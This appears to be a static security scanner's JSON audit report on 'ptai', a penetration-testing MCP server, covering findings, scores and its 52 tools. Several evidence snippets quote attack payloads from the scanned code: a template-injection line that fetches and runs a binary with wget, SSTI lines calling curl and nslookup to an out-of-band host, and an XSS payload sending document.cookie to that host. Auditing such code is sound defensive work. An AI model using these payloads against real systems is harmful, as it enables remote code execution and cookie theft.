Ptai — the complete, unedited output of the deterministic mcptrustchecker engine v1.13.0, scanned . Every finding, capability tag and score component below is exactly what the engine produced — no AI, no post-processing.
{
"tool": {
"name": "mcptrustchecker",
"version": "1.13.0",
"methodologyVersion": "mcptrustchecker-1.13"
},
"target": {
"id": "ptai",
"source": {
"kind": "package",
"origin": "ptai"
},
"server": {
"name": "ptai"
}
},
"grade": "B",
"score": {
"score": 87,
"threatScore": 94,
"grade": "B",
"band": "B",
"categorySubtotals": {
"injection": 0,
"exfiltration": 0,
"permissions": 6.3,
"supply-chain": 0,
"network": 0,
"hygiene": 0
},
"vector": [
{
"kind": "threat",
"ruleId": "MTC-SRC-007",
"category": "permissions",
"severity": "medium",
"confidence": "strong",
"rawWeight": 9,
"confidenceMult": 0.7,
"diminishingFactor": 1,
"appliedPenalty": 6.3
},
{
"kind": "client",
"term": "capability-exposure",
"level": "high",
"label": "capability blast radius (high) — client exposure if the model is manipulated",
"appliedPenalty": 6
},
{
"kind": "client",
"term": "verification-discount",
"level": "repo",
"label": "publisher verification (public source) — no provenance, but the source is public and inspectable",
"appliedPenalty": 1
},
{
"kind": "client",
"term": "coverage-honesty",
"level": "source",
"label": "inspection depth (source) — how much of the target the scan could see",
"appliedPenalty": 0
}
],
"gatesFired": [],
"methodologyVersion": "mcptrustchecker-1.13"
},
"capability": {
"level": "high",
"reasons": [
"can send data / act on an external service",
"can execute shell commands or code"
],
"tags": [
"external-sink",
"code-exec"
]
},
"coverage": {
"level": "source",
"inputs": {
"toolSurface": true,
"implementationSource": true,
"packageMetadata": true,
"liveTransport": false
},
"caveats": [
"Tools were statically extracted from the published source (52 recovered), not enumerated from a running server. Tool-poisoning, Unicode-smuggling, capability and toxic-flow analysis ran on this inferred surface, but a mis-parsed registration could be missed or mis-attributed, so tool-derived findings are capped below “confirmed”. To grade the real runtime surface, scan the running server: --command \"npx -y <package>\"."
]
},
"findings": [
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (agents/web/spa_probes.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`agents/web/spa_probes.py:2545`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "agents/web/spa_probes.py"
},
"evidence": "ess.mainModule.require('child_process').exec('wget -qO /tmp/ptai-m {safe} && chmod +x /tmp/ptai-m && /tmp/ptai-m')}}\"",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "agents/web/spa_probes.py",
"line": 2545,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (cli/credential_resolvers/op.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`cli/credential_resolvers/op.py:39`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "cli/credential_resolvers/op.py"
},
"evidence": "try: proc = subprocess.run( [\"op\", \"read\", \"--no-newline\", ref], capture_out",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "cli/credential_resolvers/op.py",
"line": 39,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (cli/menu.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`cli/menu.py:391`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "cli/menu.py"
},
"evidence": "port subprocess subprocess.run([candidate, \"--quiet\"], check=False) print() return print()",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "cli/menu.py",
"line": 391,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (engine/oob/payloads.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`engine/oob/payloads.py:158`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "engine/oob/payloads.py"
},
"evidence": "lf.__init__.__globals__.os.system('nslookup {OAST}') }}\", ) _SSTI_TWIG: tuple[str, ...] = ( \"{{['curl http://{OAST}/",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "engine/oob/payloads.py",
"line": 158,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (engine/probes/web/deserialization.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`engine/probes/web/deserialization.py:65`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "engine/probes/web/deserialization.py"
},
"evidence": "\"process.exit\", \"child_process\", \"_$$ND_FUNC$$_\", \"Infinite loop detected\", ) _DOS_BODY_MARKERS: tuple[st",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "engine/probes/web/deserialization.py",
"line": 65,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (engine/probes/web/nextjs_rsc_rce.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`engine/probes/web/nextjs_rsc_rce.py:38`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "engine/probes/web/nextjs_rsc_rce.py"
},
"evidence": "gn-looking trigger. No `child_process`, no fs writes, no network egress. \"\"\" from __future__ import annotations import",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "engine/probes/web/nextjs_rsc_rce.py",
"line": 38,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (engine/probes/web/prototype_pollution.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`engine/probes/web/prototype_pollution.py:17`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "engine/probes/web/prototype_pollution.py"
},
"evidence": "o RCE (template gadget, child_process gadget, etc). It only confirms the sink. Tagged business_logic; the next step (RCE",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "engine/probes/web/prototype_pollution.py",
"line": 17,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (engine/tool_installer.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`engine/tool_installer.py:537`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "engine/tool_installer.py"
},
"evidence": "). result = subprocess.run( [\"sudo\", \"-S\"] + list(tool.install_cmd), input=s",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "engine/tool_installer.py",
"line": 537,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (mcp_server/server.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`mcp_server/server.py:340`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "mcp_server/server.py"
},
"evidence": "ls are launched without shell=True, but defense-in-depth + clearer errors are worth a few extra lines. \"\"\" i",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "mcp_server/server.py",
"line": 340,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-003",
"title": "Hardcoded egress to an external endpoint (engine/oob/payloads.py)",
"category": "exfiltration",
"severity": "medium",
"confidence": "strong",
"description": "In the server's implementation (`engine/oob/payloads.py:138`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "engine/oob/payloads.py"
},
"evidence": "\"<img src=x onerror=\\\"fetch('http://{OAST}/?c='+document.cookie)\\\">\", \"<script src=\\\"http://{OAST}/j\\\"></script>\",",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-003",
"file": "engine/oob/payloads.py",
"line": 138,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-007",
"title": "Unsafe deserialization (engine/probes/web/__init__.py)",
"category": "permissions",
"severity": "medium",
"confidence": "strong",
"description": "In the server's implementation (`engine/probes/web/__init__.py:19`): Deserializing untrusted data with these APIs can execute arbitrary code (a well-known RCE gadget class). This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "engine/probes/web/__init__.py"
},
"evidence": "# noqa: F401 - Node.js node-serialize + js-yaml RCE/DoS dom_xss, # noqa: F401 - Playwright-driven DOM XSS detecti",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-007",
"file": "engine/probes/web/__init__.py",
"line": 19,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in packaging/dev tooling (tests/test_ci_result_guard.py)",
"category": "permissions",
"severity": "low",
"confidence": "heuristic",
"description": "In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_ci_result_guard.py:27`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "tests/test_ci_result_guard.py"
},
"evidence": "rocess[str]: return subprocess.run( [sys.executable, str(SCRIPT), str(xml_path)], capture_output=Tru",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "tests/test_ci_result_guard.py",
"line": 27,
"nonRuntime": true
}
}
],
"toxicFlows": [],
"capabilities": [
{
"tool": "list_probes",
"tags": [],
"reasons": {}
},
{
"tool": "run_probe",
"tags": [],
"reasons": {}
},
{
"tool": "http_request",
"tags": [
"external-sink"
],
"reasons": {
"external-sink": [
"keyword \"http_request\""
]
}
},
{
"tool": "plan_tools",
"tags": [],
"reasons": {}
},
{
"tool": "ensure_tools_installed",
"tags": [],
"reasons": {}
},
{
"tool": "start_engagement",
"tags": [],
"reasons": {}
},
{
"tool": "get_engagement_status",
"tags": [],
"reasons": {}
},
{
"tool": "get_findings",
"tags": [],
"reasons": {}
},
{
"tool": "health",
"tags": [],
"reasons": {}
},
{
"tool": "get_attack_chains",
"tags": [],
"reasons": {}
},
{
"tool": "list_tools",
"tags": [],
"reasons": {}
},
{
"tool": "run_tool",
"tags": [],
"reasons": {}
},
{
"tool": "run_recon",
"tags": [],
"reasons": {}
},
{
"tool": "test_web_app",
"tags": [],
"reasons": {}
},
{
"tool": "authenticated_scan",
"tags": [],
"reasons": {}
},
{
"tool": "test_active_directory",
"tags": [],
"reasons": {}
},
{
"tool": "test_cloud",
"tags": [],
"reasons": {}
},
{
"tool": "discover_attack_chains",
"tags": [],
"reasons": {}
},
{
"tool": "generate_report",
"tags": [],
"reasons": {}
},
{
"tool": "generate_detection_rules",
"tags": [],
"reasons": {}
},
{
"tool": "validate_finding",
"tags": [],
"reasons": {}
},
{
"tool": "test_api_security",
"tags": [],
"reasons": {}
},
{
"tool": "test_credentials",
"tags": [],
"reasons": {}
},
{
"tool": "test_vulnerabilities",
"tags": [],
"reasons": {}
},
{
"tool": "test_privesc",
"tags": [],
"reasons": {}
},
{
"tool": "test_mobile",
"tags": [],
"reasons": {}
},
{
"tool": "test_wireless",
"tags": [],
"reasons": {}
},
{
"tool": "test_social_engineering",
"tags": [],
"reasons": {}
},
{
"tool": "browser_inspect",
"tags": [],
"reasons": {}
},
{
"tool": "select_agent",
"tags": [],
"reasons": {}
},
{
"tool": "list_processes",
"tags": [],
"reasons": {}
},
{
"tool": "kill_process",
"tags": [],
"reasons": {}
},
{
"tool": "builtin_scan",
"tags": [],
"reasons": {}
},
{
"tool": "scan_ports_builtin",
"tags": [],
"reasons": {}
},
{
"tool": "scan_headers_builtin",
"tags": [],
"reasons": {}
},
{
"tool": "scan_ssl_builtin",
"tags": [],
"reasons": {}
},
{
"tool": "scan_paths_builtin",
"tags": [],
"reasons": {}
},
{
"tool": "scan_dns_builtin",
"tags": [],
"reasons": {}
},
{
"tool": "scan_secrets_builtin",
"tags": [],
"reasons": {}
},
{
"tool": "get_engagement_summary",
"tags": [],
"reasons": {}
},
{
"tool": "list_engagements",
"tags": [],
"reasons": {}
},
{
"tool": "resume_engagement",
"tags": [],
"reasons": {}
},
{
"tool": "close_engagement",
"tags": [],
"reasons": {}
},
{
"tool": "query_compliance",
"tags": [],
"reasons": {}
},
{
"tool": "get_evidence",
"tags": [],
"reasons": {}
},
{
"tool": "list_plugins",
"tags": [],
"reasons": {}
},
{
"tool": "poll_oob",
"tags": [],
"reasons": {}
},
{
"tool": "prove_attack_chain",
"tags": [],
"reasons": {}
},
{
"tool": "get_config",
"tags": [],
"reasons": {}
},
{
"tool": "set_intensity",
"tags": [],
"reasons": {}
},
{
"tool": "start_campaign",
"tags": [],
"reasons": {}
},
{
"tool": "get_campaign_summary",
"tags": [],
"reasons": {}
}
],
"surfaceDigest": "6f56d579594f3456839208cc3e32dbebc7cc2a488510047e8c56fdac3fff9119",
"stats": {
"tools": 52,
"prompts": 0,
"resources": 0,
"findingsBySeverity": {
"critical": 0,
"high": 9,
"medium": 2,
"low": 1,
"info": 0
}
}
}